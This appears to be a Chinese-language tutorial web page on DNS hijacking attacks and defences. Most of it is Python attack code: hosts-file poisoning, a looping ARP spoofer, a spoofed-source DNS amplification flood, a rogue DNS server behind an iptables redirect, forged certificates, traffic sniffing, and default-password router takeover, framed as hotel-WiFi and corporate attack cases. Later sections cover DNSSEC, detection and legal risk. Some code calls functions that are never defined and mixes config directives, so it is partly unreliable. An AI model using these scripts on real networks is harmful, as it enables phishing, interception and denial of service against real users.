DNS劫持攻击与防御完全指南

← 返回指南列表

DNS劫持攻击与防御完全指南

一、DNS劫持攻击概述

1.1 什么是DNS劫持

DNS劫持(DNS Hijacking)是一种通过篡改DNS解析结果,将用户的域名请求重定向到恶意服务器的攻击手段。攻击者可以利用DNS劫持窃取用户凭证、传播恶意软件、实施钓鱼攻击等。

攻击示意图:

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

1.2 DNS劫持的危害

危害类型 具体表现
钓鱼攻击 将银行、邮箱等网站重定向到伪造站点
会话劫持 窃取用户登录会话
恶意软件传播 重定向到恶意软件下载站点
流量监控 监控所有DNS查询记录
数据泄露 窃取敏感信息如密码、信用卡数据
域名欺诈 冒充合法域名进行诈骗

1.3 DNS劫持攻击类型分布

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

二、DNS协议基础

2.1 DNS查询流程

PYTHON
import socket

def dns_query(domain, server='8.8.8.8', port=53):
    """执行DNS查询"""
    # 创建UDP套接字
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(5)
    
    # 构建DNS查询包
    query = build_dns_query(domain)
    
    try:
        # 发送查询
        sock.sendto(query, (server, port))
        
        # 接收响应
        response, _ = sock.recvfrom(512)
        
        # 解析响应
        result = parse_dns_response(response)
        return result
    except Exception as e:
        print(f"DNS查询失败: {e}")
        return None
    finally:
        sock.close()

def build_dns_query(domain):
    """构建DNS查询包"""
    # DNS头部
    transaction_id = b'\x00\x01'
    flags = b'\x01\x00'  # 查询标志
    questions = b'\x00\x01'
    answer_rrs = b'\x00\x00'
    authority_rrs = b'\x00\x00'
    additional_rrs = b'\x00\x00'
    
    header = transaction_id + flags + questions + answer_rrs + authority_rrs + additional_rrs
    
    # 查询内容
    qname = b''
    for part in domain.split('.'):
        qname += bytes([len(part)]) + part.encode()
    qname += b'\x00'
    
    qtype = b'\x00\x01'  # A记录
    qclass = b'\x00\x01'  # IN类
    
    query = header + qname + qtype + qclass
    return query

# 使用示例
result = dns_query('www.example.com')
print(f"DNS查询结果: {result}")

2.2 DNS记录类型

PYTHON
dns_record_types = {
    1: 'A',      # IPv4地址
    2: 'NS',     # 名称服务器
    5: 'CNAME',  # 别名记录
    6: 'SOA',    # 起始授权机构
    15: 'MX',    # 邮件交换记录
    28: 'AAAA',  # IPv6地址
    16: 'TXT',   # 文本记录
    33: 'SRV',   # 服务位置记录
    43: 'DS',    # DNSSEC签名
    46: 'RRSIG', # DNSSEC资源记录签名
}

def get_record_type_name(type_code):
    """获取记录类型名称"""
    return dns_record_types.get(type_code, f'未知({type_code})')

2.3 DNS解析层次结构

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

三、DNS劫持攻击技术原理

3.1 本地DNS缓存污染

PYTHON
import os
import subprocess

def poison_local_dns_cache(domain, malicious_ip):
    """污染本地DNS缓存"""
    # 修改hosts文件(Windows/Linux通用方法)
    hosts_entry = f"{malicious_ip} {domain}\n"
    
    hosts_path = '/etc/hosts' if os.name != 'nt' else 'C:\\Windows\\System32\\drivers\\etc\\hosts'
    
    try:
        with open(hosts_path, 'a') as f:
            f.write(hosts_entry)
        print(f"已污染 {domain} -> {malicious_ip}")
        return True
    except PermissionError:
        print("需要管理员权限")
        return False

# 攻击示例
poison_local_dns_cache('www.bank.com', '192.168.1.100')

3.2 ARP欺骗攻击

PYTHON
from scapy.all import *

def arp_spoof(target_ip, gateway_ip, interface='eth0'):
    """ARP欺骗攻击"""
    # 获取攻击者MAC地址
    attacker_mac = get_if_hwaddr(interface)
    
    print(f"开始ARP欺骗: {target_ip} -> {gateway_ip}")
    
    while True:
        # 欺骗目标:告诉目标我是网关
        sendp(Ether(dst=getmacbyip(target_ip))/ARP(
            op=2, psrc=gateway_ip, pdst=target_ip, hwsrc=attacker_mac
        ), iface=interface)
        
        # 欺骗网关:告诉网关我是目标
        sendp(Ether(dst=getmacbyip(gateway_ip))/ARP(
            op=2, psrc=target_ip, pdst=gateway_ip, hwsrc=attacker_mac
        ), iface=interface)
        
        time.sleep(2)

# 开始攻击
arp_spoof('192.168.1.10', '192.168.1.1')

3.3 DNS服务器劫持

PYTHON
def dns_server_hijack(dns_server_ip, malicious_zone):
    """DNS服务器劫持"""
    # 模拟修改DNS服务器配置
    zone_config = f"""
zone "{malicious_zone}" {{
    type master;
    file "/etc/bind/db.malicious";
}}
"""
    
    with open('/etc/bind/named.conf.local', 'a') as f:
        f.write(zone_config)
    
    # 创建恶意区域文件
    malicious_db = f"""
$TTL    3600
@       IN      SOA     ns1.{malicious_zone}. admin.{malicious_zone}. (
                          2024010101         ; Serial
                          3600                ; Refresh
                          900                 ; Retry
                          604800              ; Expire
                          86400 )             ; Negative Cache TTL
@       IN      NS      ns1.{malicious_zone}.
ns1     IN      A       {dns_server_ip}
www     IN      A       192.168.1.100
mail    IN      A       192.168.1.100
"""
    
    with open('/etc/bind/db.malicious', 'w') as f:
        f.write(malicious_db)
    
    print(f"DNS服务器已劫持 {malicious_zone}")

3.4 DNS放大攻击

PYTHON
def dns_amplification_attack(target_ip, dns_server):
    """DNS放大攻击"""
    # 构造欺骗的DNS查询
    query = build_dns_query('example.com')
    
    # 伪造源IP为目标IP
    forged_packet = IP(src=target_ip, dst=dns_server)/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname='example.com', qtype='ANY'))
    
    print(f"发起DNS放大攻击: {target_ip} <- {dns_server}")
    
    # 发送大量请求
    while True:
        send(forged_packet, verbose=0)
        time.sleep(0.01)

# 发起攻击
dns_amplification_attack('192.168.1.100', '8.8.8.8')

3.5 TLS证书欺骗

PYTHON
def generate_malicious_certificate(domain):
    """生成恶意证书"""
    from cryptography import x509
    from cryptography.x509.oid import NameOID
    from cryptography.hazmat.primitives import serialization, hashes
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.hazmat.backends import default_backend
    
    # 生成私钥
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    
    # 构建证书
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, 'US'),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, 'CA'),
        x509.NameAttribute(NameOID.LOCALITY_NAME, 'San Francisco'),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, 'Malicious Inc'),
        x509.NameAttribute(NameOID.COMMON_NAME, domain),
    ])
    
    cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        private_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=365)
    ).add_extension(
        x509.SubjectAlternativeName([x509.DNSName(domain)]),
        critical=False,
    ).sign(private_key, hashes.SHA256(), default_backend())
    
    # 保存证书
    with open('malicious.crt', 'wb') as f:
        f.write(cert.public_bytes(serialization.Encoding.PEM))
    
    with open('malicious.key', 'wb') as f:
        f.write(private_key.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.TraditionalOpenSSL,
            encryption_algorithm=serialization.NoEncryption(),
        ))
    
    print(f"已生成恶意证书: {domain}")

四、攻击实施步骤

4.1 前期信息收集

PYTHON
import subprocess
import json

def collect_network_info():
    """收集网络信息"""
    info = {}
    
    # 获取网络接口
    result = subprocess.run(['ip', 'addr'], capture_output=True, text=True)
    info['interfaces'] = result.stdout
    
    # 获取路由信息
    result = subprocess.run(['ip', 'route'], capture_output=True, text=True)
    info['routes'] = result.stdout
    
    # 获取DNS配置
    with open('/etc/resolv.conf', 'r') as f:
        info['dns_config'] = f.read()
    
    # 获取网关IP
    result = subprocess.run(['ip', 'route', 'show', 'default'], capture_output=True, text=True)
    gateway_line = result.stdout.strip()
    if gateway_line:
        info['gateway'] = gateway_line.split()[2]
    
    print("网络信息收集完成")
    return info

# 收集信息
network_info = collect_network_info()
print(json.dumps(network_info, indent=2))

4.2 扫描DNS服务器

PYTHON
import nmap

def scan_dns_servers(network_range):
    """扫描网络中的DNS服务器"""
    scanner = nmap.PortScanner()
    
    print(f"扫描DNS服务器: {network_range}")
    scanner.scan(hosts=network_range, ports='53', arguments='-sU -T4')
    
    dns_servers = []
    for host in scanner.all_hosts():
        if 'udp' in scanner[host] and 53 in scanner[host]['udp']:
            dns_servers.append({
                'ip': host,
                'state': scanner[host]['udp'][53]['state'],
                'name': scanner[host].hostname()
            })
    
    print(f"发现 {len(dns_servers)} 个DNS服务器")
    return dns_servers

# 扫描网络
dns_servers = scan_dns_servers('192.168.1.0/24')
for server in dns_servers:
    print(f"DNS服务器: {server['ip']} - {server['state']}")

4.3 实施DNS劫持

PYTHON
class DNSHijacker:
    """DNS劫持器"""
    
    def __init__(self, interface='eth0'):
        self.interface = interface
        self.is_running = False
    
    def start(self, target_ip, malicious_ip):
        """启动DNS劫持"""
        self.is_running = True
        
        # 1. 开启IP转发
        subprocess.run(['sysctl', '-w', 'net.ipv4.ip_forward=1'])
        
        # 2. 设置iptables规则
        subprocess.run([
            'iptables', '-t', 'nat', '-A', 'PREROUTING',
            '-i', self.interface, '-p', 'udp', '--dport', '53',
            '-j', 'REDIRECT', '--to-port', '5353'
        ])
        
        # 3. 启动恶意DNS服务器
        self.start_malicious_dns(malicious_ip)
        
        print(f"DNS劫持已启动,目标: {target_ip}")
    
    def start_malicious_dns(self, malicious_ip):
        """启动恶意DNS服务器"""
        from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A
        
        def dns_handler(data, addr):
            request = DNSRecord.parse(data)
            domain = str(request.q.qname)[:-1]  # 移除末尾点
            
            # 构造恶意响应
            reply = request.reply()
            reply.add_answer(RR(
                rname=request.q.qname,
                rtype=QTYPE.A,
                rdata=A(malicious_ip),
                ttl=300
            ))
            
            return reply.pack()
        
        # 使用UDP套接字监听
        import socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.bind(('0.0.0.0', 5353))
        
        print("恶意DNS服务器已启动")
        while self.is_running:
            data, addr = sock.recvfrom(512)
            response = dns_handler(data, addr)
            sock.sendto(response, addr)
    
    def stop(self):
        """停止DNS劫持"""
        self.is_running = False
        
        # 清理iptables规则
        subprocess.run([
            'iptables', '-t', 'nat', '-D', 'PREROUTING',
            '-i', self.interface, '-p', 'udp', '--dport', '53',
            '-j', 'REDIRECT', '--to-port', '5353'
        ])
        
        print("DNS劫持已停止")

# 使用示例
hijacker = DNSHijacker()
hijacker.start('192.168.1.10', '192.168.1.100')

4.4 数据窃取与监控

PYTHON
def monitor_dns_traffic(interface='eth0'):
    """监控DNS流量"""
    from scapy.all import sniff, DNS, DNSQR
    
    def packet_callback(packet):
        if packet.haslayer(DNS) and packet.haslayer(DNSQR):
            domain = packet[DNSQR].qname.decode()
            source_ip = packet[IP].src
            
            print(f"DNS查询: {source_ip} -> {domain}")
            
            # 记录到文件
            with open('dns_logs.txt', 'a') as f:
                f.write(f"{time.ctime()} - {source_ip} - {domain}\n")
    
    print("开始监控DNS流量...")
    sniff(iface=interface, prn=packet_callback, store=0)

# 开始监控
monitor_dns_traffic()

五、实战案例分析

5.1 案例一:酒店WiFi DNS劫持

PYTHON
def hotel_wifi_attack():
    """酒店WiFi DNS劫持攻击"""
    print("=== 酒店WiFi DNS劫持 ===")
    
    # 1. 扫描网络
    dns_servers = scan_dns_servers('10.0.0.0/8')
    
    # 2. 识别目标
    target_ssid = 'Hotel-Free-WiFi'
    print(f"目标网络: {target_ssid}")
    
    # 3. 连接到目标WiFi
    connect_to_wifi(target_ssid)
    
    # 4. 获取网关IP
    gateway_ip = get_gateway_ip()
    print(f"网关IP: {gateway_ip}")
    
    # 5. 实施ARP欺骗
    arp_spoof(gateway_ip, get_my_ip())
    
    # 6. 启动DNS劫持
    hijacker = DNSHijacker()
    hijacker.start(gateway_ip, '192.168.1.100')
    
    print("攻击已启动,等待受害者连接...")

# 执行攻击
hotel_wifi_attack()

5.2 案例二:企业内网DNS劫持

PYTHON
def enterprise_dns_attack():
    """企业内网DNS劫持"""
    print("=== 企业内网DNS劫持 ===")
    
    # 1. 获取内网信息
    network_info = collect_network_info()
    domain = 'internal.corp.com'
    
    # 2. 查找DNS服务器
    dns_server = find_internal_dns(domain)
    print(f"内网DNS服务器: {dns_server}")
    
    # 3. 尝试DNS缓存投毒
    poison_dns_cache(dns_server, domain, '10.0.0.99')
    
    # 4. 监控流量
    monitor_dns_traffic()
    
    print("企业DNS劫持攻击已执行")

5.3 案例三:路由器DNS篡改

PYTHON
def router_dns_hack():
    """路由器DNS篡改"""
    print("=== 路由器DNS篡改 ===")
    
    # 常见路由器默认密码
    default_credentials = [
        ('admin', 'admin'),
        ('admin', 'password'),
        ('root', 'admin'),
        ('admin', '')
    ]
    
    # 扫描路由器
    router_ip = '192.168.1.1'
    
    # 尝试登录
    for username, password in default_credentials:
        if login_router(router_ip, username, password):
            print(f"成功登录: {username}/{password}")
            
            # 修改DNS设置
            change_router_dns(router_ip, ['8.8.8.8', '8.8.4.4'])
            print("DNS设置已修改")
            break

六、防御措施

6.1 网络层防御

PYTHON
def secure_dns_configuration():
    """安全DNS配置"""
    config = {
        'use_dnssec': True,              # 启用DNSSEC
        'dns_over_https': True,          # 使用DoH
        'dns_over_tls': True,            # 使用DoT
        'fallback_dns': ['8.8.8.8', '1.1.1.1'],
        'block_unsafe_queries': True,
        'enable_caching': True,
        'cache_ttl': 3600
    }
    
    print("DNS安全配置建议:")
    for key, value in config.items():
        status = "已启用" if value else "已禁用"
        print(f"  {key}: {status}")

6.2 客户端防御

PYTHON
def verify_dns_response(domain, expected_ip=None):
    """验证DNS响应"""
    import dns.resolver
    
    try:
        answers = dns.resolver.resolve(domain, 'A')
        
        for answer in answers:
            ip = answer.to_text()
            print(f"{domain} -> {ip}")
            
            if expected_ip and ip != expected_ip:
                print(f"警告: DNS响应异常! 期望: {expected_ip}, 实际: {ip}")
                return False
        
        return True
    except Exception as e:
        print(f"DNS查询失败: {e}")
        return False

# 验证示例
verify_dns_response('www.google.com', '142.250.185.142')

6.3 DNSSEC配置

PYTHON
def configure_dnssec():
    """配置DNSSEC"""
    dnssec_config = """
# DNSSEC配置示例
zone "example.com" {
    type master;
    file "/var/lib/bind/db.example.com";
    dnssec-policy "default";
};

dnssec-policy "default" {
    keys {
        ksk key-directory lifetime P365D algorithm RSASHA256;
        zsk key-directory lifetime P90D algorithm RSASHA256;
    };
    inline-signing yes;
    auto-dnssec maintain;
};
"""
    
    with open('/etc/bind/named.conf.options', 'w') as f:
        f.write(dnssec_config)
    
    print("DNSSEC配置已写入")

6.4 企业级防御方案

PYTHON
class EnterpriseDNSDefense:
    """企业级DNS防御"""
    
    def __init__(self):
        self.measures = [
            {
                'name': 'DNS防火墙',
                'description': '部署专用DNS安全设备',
                'implementation': '配置DNS过滤规则'
            },
            {
                'name': 'DNS监控',
                'description': '实时监控DNS查询异常',
                'implementation': '部署SIEM系统'
            },
            {
                'name': '多因素认证',
                'description': '保护DNS管理接口',
                'implementation': '启用MFA认证'
            },
            {
                'name': '定期审计',
                'description': '定期检查DNS配置',
                'implementation': '每月安全评估'
            },
            {
                'name': '网络分段',
                'description': '隔离DNS服务器',
                'implementation': 'VLAN隔离'
            }
        ]
    
    def show_measures(self):
        """显示防御措施"""
        print("=== 企业级DNS防御方案 ===")
        for i, measure in enumerate(self.measures, 1):
            print(f"\n{i}. {measure['name']}")
            print(f"   描述: {measure['description']}")
            print(f"   实施: {measure['implementation']}")

# 展示方案
enterprise_defense = EnterpriseDNSDefense()
enterprise_defense.show_measures()

七、检测工具

7.1 DNS劫持检测

PYTHON
def detect_dns_hijacking(domains_to_check=None):
    """检测DNS劫持"""
    if domains_to_check is None:
        domains_to_check = [
            'www.google.com',
            'www.baidu.com',
            'www.bankofchina.com',
            'mail.qq.com'
        ]
    
    known_good_ips = {
        'www.google.com': ['142.250.185.142'],
        'www.baidu.com': ['39.156.69.79']
    }
    
    print("=== DNS劫持检测 ===")
    all_clear = True
    
    for domain in domains_to_check:
        try:
            import dns.resolver
            answers = dns.resolver.resolve(domain, 'A')
            
            for answer in answers:
                ip = answer.to_text()
                
                if domain in known_good_ips:
                    if ip not in known_good_ips[domain]:
                        print(f"⚠️ 警告: {domain} 解析到异常IP: {ip}")
                        all_clear = False
                    else:
                        print(f"✓ {domain} -> {ip} (正常)")
                else:
                    print(f"? {domain} -> {ip} (未知参考)")
                    
        except Exception as e:
            print(f"✗ {domain}: 查询失败 - {e}")
            all_clear = False
    
    if all_clear:
        print("\n✓ 所有检测通过,未发现DNS劫持")
    else:
        print("\n⚠️ 检测到异常,请检查网络安全")

# 执行检测
detect_dns_hijacking()

7.2 DNS流量分析

PYTHON
def analyze_dns_traffic(pcap_file):
    """分析DNS流量"""
    from scapy.all import rdpcap, DNS, DNSQR
    
    packets = rdpcap(pcap_file)
    queries = {}
    
    for packet in packets:
        if packet.haslayer(DNS) and packet.haslayer(DNSQR):
            domain = packet[DNSQR].qname.decode()
            
            if domain not in queries:
                queries[domain] = 0
            queries[domain] += 1
    
    print("=== DNS流量分析 ===")
    print(f"总查询数: {sum(queries.values())}")
    print(f"唯一域名: {len(queries)}")
    
    # 按查询次数排序
    sorted_queries = sorted(queries.items(), key=lambda x: x[1], reverse=True)
    
    print("\nTop 10 查询域名:")
    for domain, count in sorted_queries[:10]:
        print(f"  {domain}: {count}次")

八、法律与伦理考量

8.1 法律风险

PYTHON
def legal_risk_analysis():
    """法律风险分析"""
    laws = [
        {
            'name': '网络安全法',
            'violation': '未经授权修改DNS配置',
            'penalty': '警告、罚款10万-100万元'
        },
        {
            'name': '刑法第285条',
            'violation': '非法侵入计算机信息系统',
            'penalty': '三年以下有期徒刑'
        },
        {
            'name': '刑法第286条',
            'violation': '破坏计算机信息系统',
            'penalty': '五年以下有期徒刑'
        },
        {
            'name': '刑法第266条',
            'violation': '利用DNS劫持实施诈骗',
            'penalty': '三年以上十年以下有期徒刑'
        }
    ]
    
    print("=== DNS劫持法律风险 ===")
    print("⚠️ 未经授权进行DNS劫持是严重违法行为!")
    
    for law in laws:
        print(f"\n{law['name']}")
        print(f"   违规行为: {law['violation']}")
        print(f"   处罚措施: {law['penalty']}")

# 显示法律风险
legal_risk_analysis()

九、安全意识培训

9.1 用户安全指南

PYTHON
def security_awareness():
    """DNS安全意识培训"""
    tips = [
        {
            'topic': '使用可信DNS',
            'content': '配置知名DNS服务商如Google DNS(8.8.8.8)或Cloudflare DNS(1.1.1.1)'
        },
        {
            'topic': '启用DNSSEC',
            'content': '确保DNS响应的真实性和完整性'
        },
        {
            'topic': '警惕公共WiFi',
            'content': '避免在公共WiFi环境下访问敏感网站'
        },
        {
            'topic': '使用HTTPS',
            'content': '确保网站使用HTTPS加密连接'
        },
        {
            'topic': '检查证书',
            'content': '访问网站时检查SSL证书是否有效'
        },
        {
            'topic': '定期检查DNS设置',
            'content': '定期检查路由器和设备的DNS配置'
        }
    ]
    
    print("=== DNS安全意识培训 ===")
    for i, tip in enumerate(tips, 1):
        print(f"\n{i}. {tip['topic']}")
        print(f"   {tip['content']}")

# 执行培训
security_awareness()

十、总结与建议

10.1 攻击技术总结

攻击类型 原理 防御措施
本地缓存污染 修改hosts文件 使用DNSSEC验证
ARP欺骗 伪造ARP响应 使用静态ARP表
DNS服务器入侵 入侵DNS服务器 强化服务器安全
DNS放大攻击 利用大响应包 限制响应大小
TLS证书欺骗 伪造SSL证书 验证证书链

10.2 防御策略层次

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

10.3 未来发展趋势

PYTHON
def future_trends():
    """DNS安全未来趋势"""
    trends = [
        {
            'trend': 'DNS over HTTPS (DoH)',
            'description': '通过HTTPS加密DNS查询'
        },
        {
            'trend': 'DNS over TLS (DoT)',
            'description': '通过TLS加密DNS查询'
        },
        {
            'trend': 'DNS over QUIC (DoQ)',
            'description': '基于QUIC协议的DNS查询'
        },
        {
            'trend': 'AI驱动检测',
            'description': '利用机器学习检测DNS异常'
        }
    ]
    
    print("=== DNS安全未来趋势 ===")
    for trend in trends:
        print(f"\n• {trend['trend']}: {trend['description']}")

# 展示趋势
future_trends()

免责声明:本文仅供安全研究和教育目的。未经授权进行DNS劫持攻击是违法的行为,作者不承担任何法律责任。所有测试必须在授权范围内进行。